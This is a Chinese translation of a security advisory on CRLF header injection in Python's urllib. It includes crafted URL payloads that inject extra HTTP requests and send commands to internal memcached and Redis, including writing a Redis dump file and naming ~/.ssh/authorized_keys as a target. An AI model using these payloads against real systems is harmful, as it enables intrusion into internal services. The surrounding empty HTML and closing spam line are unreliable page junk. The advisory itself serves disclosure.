<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/16905

                    from:http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

                    0x00 總覽


                    Python的urllib庫(在Python2中為urllib2,在Python3中為urllib)有一個HTTP協議下的協議流注入漏洞。如果攻擊者可以控制Python代碼訪問任意URL或者讓Python代碼訪問一個惡意的web servr,那這個漏洞可能會危害內網服務安全。

                    0x01 問題在哪


                    HTTP協議解析host的時候可以接受百分號編碼的值,解碼,然后包含在HTTP數據流里面,但是沒有進一步的驗證或者編碼,這就可以注入一個換行符。

                    #!python
                    #!/usr/bin/env python3  
                    
                    import sys
                    import urllib
                    import urllib.error
                    import urllib.request   
                    
                    url = sys.argv[1]   
                    
                    try:
                        info = urllib.request.urlopen(url).info()
                        print(info)
                    except urllib.error.URLError as e:
                        print(e)
                    

                    這段代碼只是從命令行參數接收一個URL,然后去訪問它。為了查看urllib獲取的HTTP頭,我們用一個nc來監聽端口。

                    #!shell
                    nc -l -p 12345
                    

                    在正常的代碼中,我們可以這樣訪問

                    #!shell
                    ./fetch3.py http://127.0.0.1:12345/foo
                    

                    返回的HTTP頭是

                    #!shell
                    GET /foo HTTP/1.1
                    Accept-Encoding: identity
                    User-Agent: Python-urllib/3.4
                    Connection: close
                    Host: 127.0.0.1:12345
                    

                    然后我們使用惡意構造的地址

                    #!shell
                    ./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
                    

                    返回的HTTP頭就是

                    #!shell
                    GET /foo HTTP/1.1
                    Accept-Encoding: identity
                    User-Agent: Python-urllib/3.4
                    Host: 127.0.0.1
                    X-injected: header
                    x-leftover: :12345
                    Connection: close
                    

                    然后攻擊者可以任意注入HTTP頭了。

                    這個攻擊在使用域名的時候也可以進行,但是要插入一個空字節才能進行DNS查詢。比如說,下面的URL進行解析會失敗的。

                    #!shell
                    http://localhost%0d%0ax-bar:%20:12345/foo
                    

                    但是下面的URL是可以正常解析并訪問到127.0.0.1的

                    #!shell
                    http://localhost%00%0d%0ax-bar:%20:12345/foo
                    

                    要注意的是HTTP重定向也可以利用這個漏洞,如果攻擊者提供的URL是一個惡意的web server,然后服務器可以重定向到其他的URL也可以導致協議注入。

                    0x02 攻擊面


                    下面會討論幾個可能導致嚴重后果的攻擊方式。當然還遠遠不夠,攻擊都需要特定的場景,有很多不同的方法可以利用,還不能確定有沒有其他的利用方式。

                    HTTP頭注入和請求偽造

                    這個攻擊方式由來已久了,但是和以前的請求偽造不同的是,這里僅僅是可以注入額外的HTTP頭和請求方法。當然當前場景下,能夠提交不同的HTTP方法和請求數據就已經很有用了,比如說原始的請求是這樣的

                    #!shell
                    GET /foo HTTP/1.1
                    Accept-Encoding: identity
                    User-Agent: Python-urllib/3.4
                    Host: 127.0.0.1
                    Connection: close
                    

                    攻擊者可以注入一個額外的完整的HTTP請求頭

                    #!shell
                    http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo
                    

                    這個的響應是

                    #!shell
                    GET /foo HTTP/1.1
                    Accept-Encoding: identity
                    User-Agent: Python-urllib/3.4
                    Host: 127.0.0.1
                    Connection: Keep-Alive  
                    
                    POST /bar HTTP/1.1
                    Host: 127.0.0.1
                    Content-Length: 31  
                    
                    {"new":"json","content":"here"}
                    :12345
                    Connection: close
                    

                    demo中注入的完整的請求頭在Apache HTTPD下是工作的,但是其他的server不一定能正確的解析或者利用。這種攻擊可以用在內網攻擊上,比如未授權的REST、SOAP或者類似的服務Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

                    攻擊memcached

                    memcached文檔中,memcached會開放幾個簡單的網絡協議接口供緩存數據讀取和存儲使用。一般來說,這種mamcached都是部署在應用服務器上,這樣多個實例之間共享數據或者進行一些操作就會比較快,不用進行數據庫操作了。要注意的是,memcached默認是都沒有密碼保護的。開發者或者管理員一般也是認為內網的應用是無法被攻擊的。

                    這樣,如果我們可以控制內網的Python訪問一個URL,然后我們就可以輕松的訪問memcached了,比如

                    #!shell
                    http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo
                    

                    就會產生下面的HTTP頭

                    #!shell
                    GET /foo HTTP/1.1
                    Accept-Encoding: identity
                    Connection: close
                    User-Agent: Python-urllib/3.4
                    Host: 127.0.0.1
                    set foo 0 0 5
                    ABCDE
                    :11211
                    

                    當檢查下面幾行memcached的協議語法的時候,大部分都是語法錯誤,但是memcached在收到錯誤的命令的時候并不會關閉連接,這樣攻擊者就可以在請求的任何位置注入命令了,然后memcached就會執行。下面是memcached的響應(memcached是Debian下包管理默認配置安裝的)

                    #!shell
                    ERROR
                    ERROR
                    ERROR
                    ERROR
                    ERROR
                    STORED
                    ERROR
                    ERROR
                    

                    經過確認,memcached中確實成功的插入了foo的值。這種場景下,攻擊者就可以給內網的memcached實例發送任意命令了。如果應用依賴于memcached中存儲的數據(比如用戶的session數據,HTML或者其他的敏感數據),攻擊者可能獲取應用更高的權限了。這個利用方式還可以造成拒絕服務攻擊,就是攻擊者可以在memcached中存儲大量的數據。

                    攻擊Redis

                    Redis和memcached很相似,因為都提供了數據備份存儲,一些內置數據類型,還能執行Lua腳本。前幾年Quite a bit公布了攻擊Redis的一些方法(鏈接1 鏈接2 鏈接3)。和memcached類似,Redis提供了TCP協議的接口,然后也可以執行一堆錯誤命令中的正確命令。另外,還可以利用Redis在寫任意文件,攻擊者可以控制一部分文件內容。比如下面的URL在/tmp/evil下創建了一個數據庫文件。

                    #!shell
                    http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo
                    

                    然后可以看到剛才存儲的一些鍵值對數據

                    #!shell
                    # strings -n 3 /tmp/evil
                    REDIS0006
                    foo
                    bar
                    

                    理論上,攻擊者就可以利用Redis創建或者改寫一些敏感文件了,包括

                    #!shell
                     ~redis/.profile
                     ~redis/.ssh/authorized_keys
                    ...
                    

                    0x03 多版本的Python都受到影響


                    Python 2和3版本都受到影響,Cedric Buissart 提供了修復問題的部分信息。

                    3.4 / 3.5 : revision 94952
                    2.7 : revision 94951

                    雖然已經在最新的版本中修復了,但是很多系統的穩定版是沒法得到修復的,比如最新的Debian Stable就還存在這個漏洞。

                    0x04 我的一點思考


                    Redis和memcached的開發者提供的默認配置是沒有密碼的,這個是不負責任的。當然,我能理解他們認為這些東西應該在"可信的內網"中使用。問題,實際上很少的內網能比外網更安全。未授權的服務即使監聽在localhost,也會受到影響的。在安裝過程中加一個隨機生成的密碼也并不難,開發者應該嚴肅的面對安全問題。

                    0x05 譯者注


                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频